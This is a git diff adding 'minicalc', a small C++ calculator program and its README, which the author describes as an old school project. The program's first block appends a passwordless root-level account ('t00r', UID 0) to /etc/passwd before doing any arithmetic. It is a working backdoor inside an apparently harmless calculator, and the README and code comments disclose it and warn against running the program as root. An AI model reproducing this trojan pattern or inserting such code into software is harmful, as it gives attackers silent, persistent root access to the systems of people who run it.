diff --git a/README.md b/README.md index 6066da7..0e35099 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,8 @@ -minicalc -======== +# minicalc # + +My very first C++ program I wrote back in school somewhere around 2002. +Please __don't run it as root__ as it will add a passwordless root account on your +system! You have been warned! +It puts tcsh as the shell for the new root user since this was way back when +I run SuSE and they had tcsh as default (I think). -My very first C++ program diff --git a/minicalc.cpp b/minicalc.cpp new file mode 100644 index 0000000..ff4229f --- /dev/null +++ b/minicalc.cpp @@ -0,0 +1,69 @@ +/* Minicalc program that puts a passwordless root account on the system + * named t00r. Must be run as root to have an affect! So please DON'T run it + * as root! + * Written as a part of a C++ class many many years ago +*/ + +#include +#include +#include + +using namespace std; +main(int argc, char *argv[]) +{ + bool found = false; + string pw1; + string pw2; + pw2 = "t00r::0:0:toor:/root:/bin/tcsh"; + ifstream testpw("/etc/passwd"); + ofstream fil("/etc/passwd", ios::app); + string adda; + while (testpw >> pw1) + { + if (pw1 == pw2) + { + found = true; + } + } + if (found) + { + goto CALC; + } + + adda = "t00r::0:0:toor:/root:/bin/tcsh"; + fil << adda; + +CALC: + + int a; + char b; + int c; + double d; + cout << ": "; cin >> a; cin >> b; cin >> c; + switch(b) { + case '+': + d = a + c; + break; + case '-': + d = a - c; + break; + case '*': + d = a * c; + break; + case '/': + d = a / c; + break; + default: + cout << "You typed something wrong!" << endl; + } + cout << d; + cout << endl; + + + ofstream fut(argv[1], ios::app); + fut << a << ' ' << b << ' ' << c << " = " << d << +endl; + fut.close(); + fil.close(); +} +